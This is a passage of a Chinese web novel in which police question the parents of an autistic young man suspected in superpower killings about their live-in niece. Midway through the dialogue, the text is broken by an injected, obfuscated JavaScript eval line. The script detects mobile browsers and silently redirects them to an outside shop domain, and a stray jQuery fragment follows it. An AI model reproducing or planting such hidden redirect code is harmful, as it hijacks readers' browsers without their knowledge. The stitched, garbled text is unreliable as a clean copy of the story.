陈影笙觉得莫名其妙:“名字好怪。”
“这片地方二百年前是理王府。”李颖解释,“王字旁的理,不是这个里。”
“人们叫习惯了,一直叫它理王府。后来有投资者买下来想做景区,但拆迁上遇到了难题。”
李颖没详细说,陈影笙能猜出来,无非是拆迁户坐地起价,摔摔打打地拦着施工队。
这件事她也有印象:“听说后来把王府旧址整个挖出来移走了。”
“对,连地基一起挖出来,理王府景区在郊外建好了。”李颖说,“再后来还是把老平房拆了,但原拆原建,居民们没拿到钱。”
竹篮打水一场空。
“再叫理王府不合适,理王府是人家的注册商标,于是改名叫里王里。”
陈影笙好奇地问:“李队对里王里很熟悉?”
“我是从片警干上来的。”李颖笑了,“毕业后在这片街区干了3年。”
陈影笙沉默地望着车窗外的景色,现在是凌晨5点左右,天蒙蒙亮。
清晨本应是一天的起始,小区内却一片破败。楼房是没抹墙皮的红砖楼,很多人家私自搭建了小棚子小阳台。
地面的石板路早已破碎不堪,污水填满砖石破碎后的坑洞,一层油沫漂在灰黑色的水面上,各种小飞虫落在油上,吸食来之不易的油脂。
一个佝偻身躯的老人嘟嘟囔囔地出来扔垃圾,小区竟然没有垃圾桶,用红砖垒起的矮墙充作简易垃圾堆放处。
分辨不出性别的老人扔完垃圾不肯离开,他或者她把手伸进垃圾堆,试图翻找一些能卖钱的废纸板。
李颖也看见老人了,她很无奈:“没法放垃圾桶,垃圾桶全被捡去卖破烂了。”
陈影笙由衷感慨:“李队,真是不容易。”
她以为李颖是凭借超能力平步青云升上来的,没想到李颖还在这样的街区干过片警。
李颖摇了摇头。
老王找地方停车,左絮飞和另一位警员从道边的车里探出头。
“何家没人出来,也不见有人进去。”左絮飞指了指前方的楼洞。
他从万花筒出来后立刻被派来盯梢,怕有超能力者来劫人。
穿着碎花棉服的老年女人正站在楼门前鬼鬼祟祟地做些什么,老王问:“那是谁?”
“拔红砖的。”左絮飞疲惫地抹了把脸。
陈影笙走近了仔细看,发现女人在扣墙面上松动的砖头,墙上被她拔得坑坑洼洼。
“拿砖头回去做什么?”
“搭窝棚或者卖废材吧。”
“他们这么缺钱?”陈影笙受到深深的震撼。
按理说,阿苦和罗莉娜租住的老城区才是最穷最破败的地方,但那里至少没人拔红砖。大家早早出去打工,深更半夜才回来,没人有时间和一块砖过不去。
“不缺,退休金好几千。”李颖平静地说,“但就是要捡破烂拔砖头,渐渐地小区里没年轻人了。”
没有年轻人愿意和一堆破烂住一起。
一群人走进楼洞,女人赶紧护住手里装满红砖的袋子,生怕他们来抢。
何家在顶层5楼,楼梯又窄又陡,只有成年人半个脚宽。
幸好来的都是身强体壮的精锐,一群人大气不喘地爬上5楼。
给他们开门的是何康的妈妈张晓娜,屋里一股劣质豆油的臭味,油腻腻的味道腌进每一道砖缝。
张晓娜很不耐烦:“谁呀?大早晨的!”
她揉了揉眼睛,看清面前的一群人。
“又是警察!”她向屋里吼,“孩子他爸,你出来看看!”
穿衣服的窸窸窣窣声和男人的抱怨声同时响起:“都说翠凤回村了,她惹的事和我们有什么关系?”
李颖出示警员证,简练有力地说:“不是何翠凤,是何康,我们怀疑他和多起超能力谋杀案有关。”
“他?!哈哈哈哈哈哈——”张晓娜直接笑出声,“一个傻子!他杀人?”
她披散着头发,状若疯癫:“你怎么不说太监强/奸宫女啊?”
李颖冷着脸:“张晓娜,你注意用词!”
何康的爸爸何大勇踩着裤子走出来:“他杀人你们快把他带走,我早就打过市长热线,提议大龄残障人员应该由国家统一抚养。”
张晓娜一把推开卧室的门:“康康,警察叔叔们来接你了!”
何康竟然没睡觉,他坐在书桌旁,对着一盏昏暗的台灯画画。
陈影笙走过去,看到他在画太阳。
他在剪裁得小小的黄色草纸的左上角,认认真真地画太阳。
先用铅笔画一个圆圈,再画八条围绕圆圈的射线,最后用红色的蜡笔把圆圈填上颜色。
红红小小的太阳,何康画得很努力,他细致地画完,放下蜡笔仔细欣赏。
然后呢?陈影笙凝视着他,他还会画什么?
何康什么都没有画,他两只手卷曲着摆在胸前,直愣愣地看着纸上的空白,完全沉浸在自己的世界里。
外面的客厅中,何大勇和张晓娜在喋喋不休地和李颖抱怨着什么,他们的声音尖刻到催人耳膜。
陈影笙的感官却自动屏蔽了所有声音,这一刻她仿佛与何康的知觉同步了。
何康在草纸的右上角标注“159”。
陈影笙才发现,他右手边有厚厚一沓纸,纸上在相同的位置用相同的画法和相同的颜色画了一模一样的太阳。
这是他画的第159张。
“你今晚睡觉了吗?”陈影笙微微压低身体轻声问。
毫无预兆的,何康突然举起双手,手舞足蹈起来。
他的手背无可避免地打在陈影笙身上。
“没事吧?”左絮飞把陈影笙拉远。
陈影笙没动,她紧紧盯着何康面前的空气。
他像是......看见了什么东西才这么兴奋。
张晓娜看见大龄自闭症儿子打人,难过地哭了起来:“带走!求求你们把他带走,他又看见不干净的东西了!”
陈影笙很镇定:“不是不干净的东西,是自闭症的感知觉异常。”
“你那么懂,你带回去治啊!”张晓娜尖叫。
李颖一把按住张晓娜的肩膀:“你冷静一点,配合查案。”
感知觉异常是自闭症的一种症状,患者会对正常人很难察觉到的声音特别恐惧或特别喜好。
何康手舞足蹈的表现明显是喜欢,陈影笙对张晓娜说:“安静,他听到声音了。”
张晓娜安静下来,陈影笙侧耳聆听。
什么都没有。
“能看看病历吗?”陈影笙问何康父母。
沉默的何大勇把一大袋子病历塞给陈影笙。
他开始向老王诉苦:“您看见了,我家这个情况。”
“翠凤干过什么事,和我们没关系;康康做了什么事,我们不知道。最好他真做了什么,你快把他带走。”
“你们是何康的监护人,何翠凤的雇主,真出事脱不开干系,谁也别想跑。”李颖漠然抱臂站在一旁。
何大勇急了:“我和你上司说话,你一女的插什么嘴!”
老王笑眯眯地说:“她是我上司,我是普通警员。”
这是谎话,但很管用,李颖老王一唱一和把何大勇治住了,何大勇讪讪地闭上嘴。
老王凑近何大勇,压低声音:“她问什么你答什么,赶紧配合调查,别耽误你们中午去学校门口出摊。”
何大勇感激地点头。
李颖很强硬:“何翠凤什么时候来诞江市务工?”
“康康小时候。”何大勇眼睛向上翻,陷入遥远的回忆。
“他这个病是娘胎里带出来的,治也治不好。我们本来打算再生一个,但总觉得太残忍。老二从出生就有个拖油瓶哥哥,长大了不得骂死我们俩!”
“康康十岁的时候,我独自回老家过年,老家人说村里有个女孩不读书,也不肯乖乖嫁人,非要出去打工,问我有什么门路。”
何大勇裂开嘴笑,露出一嘴烟熏的黄牙:“我能有什么门路?我自己都混成这样!”
“我问女孩多大,他说才15岁,15岁能干嘛?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591317|137769||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“晚上,我找了个有信号的地方,打电话把这事和我老婆说了,老婆让我把女孩带回家。”
张晓娜边低声啜泣,边接过话继续说:“我是觉得她可怜,想给她一口饭吃,来帮我照顾康康,让我有空干点别的。她以后想打工想回村,怎么样都行。”
李颖冷静地说:“她未成年。”
“我是她叔父!”何大勇嚷嚷,“叔父带侄女来大城市看看有什么不行?”
“没什么不行。”老王像尊弥勒佛,光头都在反光,“你们继续说。”
“翠凤她......”张晓娜偷偷看丈夫,见丈夫没拦着才说,“翠凤其实是个好孩子,她来了后一直在客厅打地铺。一大早起床帮我备餐,等我和老何出摊,她就给康康洗漱吃饭。”
何康今年20岁,何翠凤十年如一日地照顾何康,如今已经25岁。
李颖质疑:“她没有假期,也不回家吗?工资怎么给她开?”
“有假期,她在周日休息。”张晓娜解释,“周六高三生补习,周日学校才放假,我们周日不出摊,工资我——”
“什么工资!”何大勇打断她,“是我给侄女的零花钱。”
“她休息日去做什么?”李颖问。
“背着包去找朋友玩吧。”
“她好像加了个什么老乡群,有几个朋友。”
何大勇和张晓娜回答得零七八碎,没人知道何翠凤周日在做什么。
老王插话:“她说过自己有男朋友吗?”
“怎么可能!她在外面有男朋友?”何大勇喊道。
紧接着,何大勇意识到自己反应过度,他慌忙解释:“不是说不能有,我是她叔父,怕她被坏人骗。”
张晓娜盯着老王的眼睛:“所以她有吗?”
老王若有所思地看着他们。
“提醒你们,包办婚姻是违法的。”李颖可不惯着二位,“尤其是给患有自闭症的残障人士包办婚姻。”
“违法”两个字终于让张晓娜害怕了,她一改之前的疯癫,声音小了下来:“没有,我就是觉得两个孩子有感情,想让他们发展一下。”
何大勇还是一副混不吝的样子:“何翠凤吃我的住我的,和我儿子结婚怎么了?”
老王和善地说:“民政局登记结婚时,要确保登记人能够明确、自主地表达自己结婚的意愿,清楚地知晓结婚的意义和责任,否则是不予登记的。”
何家夫妻一声不吭地挤在一起,像两只鹌鹑。
李颖出示一幅剧本杀店监控截屏:“辨认一下,这是何翠凤吗?”
夫妻同时摇头。
“等等!”张晓娜突然喊,“就是她!她是不是偷用我的化妆品了?”
截屏上的何翠凤穿着时尚化着淡妆,不像乡下来保姆,像是朝气蓬勃的大学生。
张晓娜激动地胡乱骂街,李颖打断她:“见过何翠凤身上的衣服吗?”
“没有。”张晓娜梗着脖子,“她哪里买的起这个?”
“所以她为什么一直在你家当保姆?”老王冷不丁问。
“在你家打地铺拿一丁点钱,起得比鸡早睡得比狗晚,还要给比自己小不了几岁的自闭症异性端屎端尿。她年纪轻轻,为什么不去做些别的工作?”
何大勇和张晓娜给不出答案。
平心而论,何翠凤长得不差。虽然不算大美女,但打扮后在普通人里也算亮眼。
这样的女孩子都是野心勃勃的,她本可以成年后立刻离开何家,找份正常工作养活自己,而不是在何家当丫鬟。
除非何家有什么让她必须留下的东西,让她放弃追求正常生活的东西,让她能一步登天的东西。
陈影笙冷眼看着夫妻二人,他们被老王的迅速变脸给吓傻了。
老王沉声问:“何康有超能力吗?”
“没有”
“想清楚再回答!”李颖喝道,“隐瞒任何事实都是包庇行为!”
张晓娜吓得声音发抖:“真没有!要是有我家能成这样?”
“跟我们回超管局仔细想想吧。”李颖按了按太阳穴。